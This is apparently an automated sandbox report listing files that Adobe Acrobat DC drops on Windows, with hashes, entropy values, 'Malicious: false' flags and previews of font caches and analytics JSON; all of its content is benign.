Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklOch+k3lltfllXlE/HT8kphvNNX8RolJuRdxLlGB9lQRYwpDdt:kKXcp/eT82VNMa8RdWBwRd
MD5:	078002F69E78A8591BEC11B1F2AE47E1
SHA1:	EE7DC3B4EA82520F60D3F7A5753A68535B9CB2F9
SHA-256:	68C2AC0F15CDD815FE7F258B5F8447DC8E9895AF25C65DAE229B83CA54633CDE
SHA-512:	E963BBF4108A2936B1D8CDD3BF9795E56D6A264B6D6DC44A4FECEE8285C22065D73B3391A8481A2E3F8E13051526CA67CA8BB9CDBE0CF3296D7F85CF20245928
Malicious:	false
Preview:	p...... .........%...c..(....................................................... ..........W.....H..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6704

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6704

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350292396233454
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJM3g98kUwPeUkwRe9:YvXKXmmGP40c+IGMbLUkee9
MD5:	AEE762B6F02A87196383C2912A38DAFF
SHA1:	F7D374A74DB6E314D5DB5FFD3E4E23DB1AC9F887
SHA-256:	9E45818197EA9B023E04EB1B6817DFBA47ACED91FD512C6E9DF4571EFD5006A5
SHA-512:	B1E7777D891819317547F1DC1ACDBEDFC1E9A3E34B0DC1E2D979A4795B0EAB24D06CC91970E3B0B843A477E4D02A1F75F23CC1C6670F9C998101A9292DD18965
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29883323762282
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfBoTfXpnrPeUkwRe9:YvXKXmmGP40c+IGWTfXcUkee9
MD5:	EBB8385DEE74AE5F6EB0D58573726FA4
SHA1:	712EA2F569C12CB7870FE16DA89598BC0D5E64FB
SHA-256:	80094B1F7F8578089D5133F67CC5FFCB374117A6F07CD78FBB75FAE8B93C33D4
SHA-512:	BE9340B20529C2829281D9B668D09BAFF1A58A07548DEC5FC0E012452B4F14045420DF00D81E02EDF23EB9407AE72B01FB43CA4BA4A98158578613FE312C5FA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277912701827781
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfBD2G6UpnrPeUkwRe9:YvXKXmmGP40c+IGR22cUkee9
MD5:	9AD89B8898368482FD5E1E1DFBF70E38
SHA1:	C9EB3489EA7F262F86DFC313F1097CE231A60511
SHA-256:	E40BCA83A3960C62DDD57BCC4C27065BFBFA58783E9517F43BF289FB721A15C9
SHA-512:	B58842A1FCB87CE76C046C870A01319909C25F4B23020B7149D055A8815F95572C114B22075EEE8F814C7656452C2A369A406E4EBD49F29D47BF7ED4FB6A5372
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.329856340666383
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfPmwrPeUkwRe9:YvXKXmmGP40c+IGH56Ukee9
MD5:	1B145451C9F9680BB00308C5B18C8641
SHA1:	F31CBEB852A64F2AF839E190ABA2F26A4CEE6E11
SHA-256:	6FCE926544A2CB12DF71C6FE77AB416E24D82440521831D109852681636DD0D1
SHA-512:	D9F1B885FCF769C402DC2DEE8FB36AD4A735BE4C8089B399B3D75568C0B7B64A02363BABF406911C7DBA6CA9A293023A2CF1183822277E410CC707CB74A2E596
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684650623738714
Encrypted:	false
SSDEEP:	24:Yv6X7vZ+FpLgE9cQx8LennAvzBvkn0RCmK8czOCCSbJ:YvRFhgy6SAFv5Ah8cv/N
MD5:	EB730735BA6FDFCF6F34E5119CCED6BD
SHA1:	ACF141A9A519CA816BCD73419FE584061E1F0391
SHA-256:	599A88F0D71D1D6E2881CB622C120B997FF8F0D302DF8FA0588F2BB777645446
SHA-512:	A98804D937DFE21681CC3264C4F9EB1C53B48677DA3F3D4254657DDB434E472DFDB9A31C9E2F1ED98D86EB4D6840AE36194E41FB5454494D49F678CA09F922CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278479560811192
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJf8dPeUkwRe9:YvXKXmmGP40c+IGU8Ukee9
MD5:	271F7CFF3D6118AA8FC2822BBB2309A1
SHA1:	0210A0987F6D8EB48338B86CA4E675217442F771
SHA-256:	2A383E23CCD5D5E6D2CC00AB2E2E5B14ECCF4ACC51E635D39FF79A488024C04F
SHA-512:	009ED8B16E1C4DC22EE5842DC5F54455A1B05FB1D26336032E35F5629BA8A5C9447FF1B10C1D939F28C678601EE3CFCB648F9CE9C2E8BCDF490CE37D107210CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280818127679886
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfQ1rPeUkwRe9:YvXKXmmGP40c+IGY16Ukee9
MD5:	D06ABE98CBAFB5756DB3D2ECF0F4C34D
SHA1:	BB9F04CB0DAE84E9EE0C514FF4E24BA1860EC1C6
SHA-256:	B39B75980F60CB0DD3C1B3E647EEB8A16EFBA809D9816EB22957FE7BA33044B6
SHA-512:	8EF86ECBB875C03CB7C445BDBC2B373DBCD5F3E3DB33EA72D6CF3B2460421C6B3C80CDB397BF466E344C0AE71B9A2FD4D206A0AE0AEB2C3ACF76D2E4864D89D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289969269248358
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfFldPeUkwRe9:YvXKXmmGP40c+IGz8Ukee9
MD5:	5196AC92A11F29113ED4493BE1D26A22
SHA1:	009CA6037C85120EB81F3E43A85C9100F5E46CB8
SHA-256:	21EF796AA0A3F91BEBB6BC3231E83BDB0E476E7EFAB1F015D58763DEBFC782CB
SHA-512:	0478C565281023C15826345F4A2728F1BD8655A5BE0AD40BD49323C9917E7DE851151096B918AFB85F1CDF921CF7CF349E770F92B5FE040C03F6E06781ACEA1E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.305064484351123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfzdPeUkwRe9:YvXKXmmGP40c+IGb8Ukee9
MD5:	A5CDF5C5B550710D3B256C7C2849BBA9
SHA1:	5A98228635AF25B38109792AF64C7E20041551DF
SHA-256:	A39B61B81AC5FADA8B271D37612616F733B064A7C06911245DE059655FE19AED
SHA-512:	9D01AE3BDCFBE3F97B4C772EB3738E36ADE9788C54C25A46A09767CA1A3B1FCA23A688E6AD278F3A6B67830A9D86AD3299013F3EF60D155DA2B4710C98833F4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285411359237597
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfYdPeUkwRe9:YvXKXmmGP40c+IGg8Ukee9
MD5:	8ECE3643CD8FF42B0AB21ECE83BBB50C
SHA1:	683E08FDB86C152F0F7C943DD139BE5C46171CE5
SHA-256:	030B143E1D99650CF83E27D5AF3FA251CC46FF96EC77ADD9C615FB049C029D22
SHA-512:	AB9066C640DB34D419856A6143A7FB0C206FED80A52E24E601A7C48FEE2E40DD4FB3D45CC02F6D764B2610A8F7F8A5DAAEC0D8D313413E888822B5E4E000FBB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.272053730783186
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJf+dPeUkwRe9:YvXKXmmGP40c+IG28Ukee9
MD5:	6F162603CA3E36E2CDE665230A4D2EEA
SHA1:	D8B44BA0B17DA7CC9E2062FE2DFF20504287EC82
SHA-256:	02DE079308FCA4D286F26A3F1D24EDE59542316D887FE6090E0EB8641E41F051
SHA-512:	3F4F9368049641D915053A89C8DCAF2919B8806224C0B394BEC66912F84882D759ECB9794701D7A5D1D1F22B328ABAE29187F81716CDF07AF45439E53F0AB98F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26905872248371
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfbPtdPeUkwRe9:YvXKXmmGP40c+IGDV8Ukee9
MD5:	4FCCDEAF645379DF2441463020E990AD
SHA1:	E63E01BD1955DC421E51005E294D898FB7475E0F
SHA-256:	178E12813EDA77E1055D661D78A20313C089D1017AB9168DC8B8BD047DDA9549
SHA-512:	09416EC0856BBBE36AD391A0B3F9B862D4D72ADDAD6DFBDB2CA99783B387FD0BCA3F5ED341298949669CF38DA3F64D8B67A24B66053B291FBC9E05F09C7028E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2722381142232075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJf21rPeUkwRe9:YvXKXmmGP40c+IG+16Ukee9
MD5:	BC9D19B5DECC0A61BEB67AD73AA35E7B
SHA1:	74FD37F9FAAA9EE981261FA8A26289E777427863
SHA-256:	D93C913C1D57B92CEB085E23ACF098E79D890363AB69341E61FA290A468E77A7
SHA-512:	27F1F9037F4932E958E0C5CC851146D9C7EFF2488EF7C0F03FAF6DC45749BAEFB00F3BCAC619364D7406553A08A0BD0DC71EA8A9ED14A355D95344DEBED119B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657019557033361
Encrypted:	false
SSDEEP:	24:Yv6X7vZ+damXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSbJ:YvRxBgkDMUJUAh8cvMN
MD5:	B17A270F91F7FE471E680F169E5492CB
SHA1:	E66C8BE8B12F12C1BA2A8CEB4F16C3A069CB88F0
SHA-256:	A33C6349B884D9FAF64E453CE1F10F238DA2C5A2F8F9A3284004FFFB265D9004
